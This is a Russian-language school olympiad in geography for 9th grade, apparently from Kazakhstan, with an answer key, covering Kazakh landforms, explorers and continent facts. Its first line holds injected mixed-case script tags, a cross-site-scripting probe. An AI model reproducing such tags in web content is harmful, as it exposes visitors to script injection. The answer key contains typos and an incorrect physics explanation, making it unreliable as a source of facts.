<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
Задания
школьного тура олимпиады по географии
9
класс фамилия,
имя_________________________
Отвечая на вопросы, выполняя задания.- не спешите,
так как ответы не всегда очевидны и требуют не только знаний программного
материала, но и общей географической эрудиции.
Успеха Вам в работе!
1. Главная трудность в освоении
природных богатств Казахстана:
A)
дефицит запасов воды и средств.
B)
дефицит трудовых ресурсов и образования.
C)
отсутствие энергетической базы.
D)
различные экологические проблемы.
E)
отсутствие современных технологий.
2. По названию определить географический объект:
1.
Бузачи -
2
Доссор —
3.
Елек —
4. Мангышлак —
5. Мугоджары -
6. Сагыз —
7. Устюрт —
8.Эмба -
3. Политико-географический адрес
Казахстана:
а) Средняя Азия;
б)
Центральная Азия;
в)
Южная Азия;
г)
Юго-Западная Азия; д)
Юго-Восточная Азия
4.Назовите крупнейших реки в
Казахстане.
__________________________________________________________________
5.Моря есть плавать нельзя, земля есть –
пахать нельзя .Что это?
__________________________________________________________________
6.Назовите государство,
расположенное в двух частях света.
__________________________________________________________________
7.Назовите 3 крупнеиших озер в
Казахстане.
8.Страны без людей, города без домов,
леса без деревьев, моря без воды .Что это?
_________________________________________________________________
9. Район Казахстана, где наиболее высокая
доля - электроэнергии, вырабатываемой на гидроэлектростанциях:
1.A)
Восточно-Казахстанская область.
2.
B) Центральный Казахстан.
3.
C) Павлодарская область.
4.D)
Южный Казахстан.
10. Воздух нагревается от
подстилающей поверхности, в горах эта поверхность располагается ближе к Солнцу,
и, следовательно, приток солнечной радиации с подъёмом вверх должен возрастать
и температура увеличиваться. Однако, нам известно, что этого не происходит.
Почему?
_____________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________(
15 баллов)
11. Определите, о ком из
путешественников (географов) идёт речь?
.Мореплаватель, который задумал, но не
смог до конца совершить первое кругосветное путешествие. Это путешествие
доказало наличие единого Мирового океана и шарообразности Земли. ___________________
12.Итальянский путешественник,
исследователь Китая, Индии. Первым наиболее подробно описал Азию
______________________________
13.Российский мореплаватель,
первооткрыватель Антарктиды. Командовал шлюпом «Восток»
______________________________
14.Английский мореплаватель.
Возглавлял три кругосветных экспедиции, открыл множество островов в Тихом
океане, выяснил островное положение Новой Зеландии, открыл Большой Барьерный
Риф, восточное побережье Австралии, Гавайские острова
___________________________
(за
каждый верный ответ 2 балла)
15. Ниже приведены некоторые факты про
материки нашей планеты, по два для каждого материка. Напишите, к какому
материку какие факты относятся. ( за каждый верный ответ 1 балл)
1.
Самый пустынный материк (без учёта снежных пустынь Антарктиды). ____________________________________________________________
2.
Материк с самым большим населением. ________________________
3.
Самый низкий материк. _______________________________________
4.
Материк, не имеющий коренного населения._____________________
5.
Материк, который омывается водами 4-х океанов.________________
6.
Материк- колыбель человечества._______________________________
7. Материк, который открыли последним
(назовите имена 2-х мореплавателей, которые
первыми попали к берегам этого
материка). _________________________________________________________
8.
Материк, где находится самый высокий водопад в мире (назовите этот водопад). _______________________________________________________
9.
Материк, где находятся страны мира, занимающие второе место в мире по площади. __________________________________________________________________
10.
Материк с самой полноводной рекой мира (назовите эту реку). ___________________________
11.
Материк с самой большой по площади пустыней в мире (назовите пустыню) .______________________________________________________
12.Материк, где расположен самый большой в мире каньон (назовите
каньон).__________________________________________________________
Ответы на задания олимпиады (школьный тур).
9 класс
1.
А
. 2. Бузачи -полуостров
Доссор —месторождение
Елек —аул
Мангышлак —поуостров
Мугоджары – эжный отрог Урасльских гор
Сагыз — солоноводная
река
Устюрт —плато
Эмба - река
3. Б
4. Ертыс,
Есиль, Тобыл, Урал, Или, Сырдарья, Чу.
5. Карта
6. Казахстан
(Европа, Азия), Россия (Европа, Азия)
7. Каспийское
море, Аральское море, Балхаш
8. Карта
9. А
10. во-первых, потому, что нагретый у земли воздух при удалении от нее
быстро охлаждается, а во-вторых, потому, что в верхних слоях атмосферы воздух
более разрежен, чем у земли. Чем ниже плотность воздуха, тем меньше передается
тепла. Образно это можно объяснить так: чем выше плотность воздуха, тем больше
молекул в единице объема, тем быстрее они двигаются и чаще сталкиваются, а
такие столкновения, как и любое трение, вызывают выделение тепла. В-третьих,
солнечные лучи на поверхность горных склонов всегда падают не отвесно, как на
земную поверхность, а под углом. А кроме того, горам мешают прогреваться
плотные снеговые шапки, которыми они покрыты, - белый снег попросту отражает
солнечные лучи. ( 15 баллов)
11. Определите, о ком из путешественников (географов) идёт речь?
1. Магеллан
2. Марко Поло
3..Беллинсгаузен
4.Кук
(за каждый верный ответ 2 балла)
10. Ниже приведены некоторые факты про
материки нашей планеты, по два для каждого материка. Напишите, к какому
материку какие факты относятся. ( за каждый верный ответ 1 балл)
- Австралия
- Евразия
- Австралия
- Антарктида
- Евразия
- Африка
- Антарктида-Беллинсгаузен
- и Лазарев
- Южная
- Америка- Анхель
- Северная
- Америка
- Южная
- Америка- Амазонка
- Африка-
- Сахара
- Северная
- Америка- Колорадо
45-балла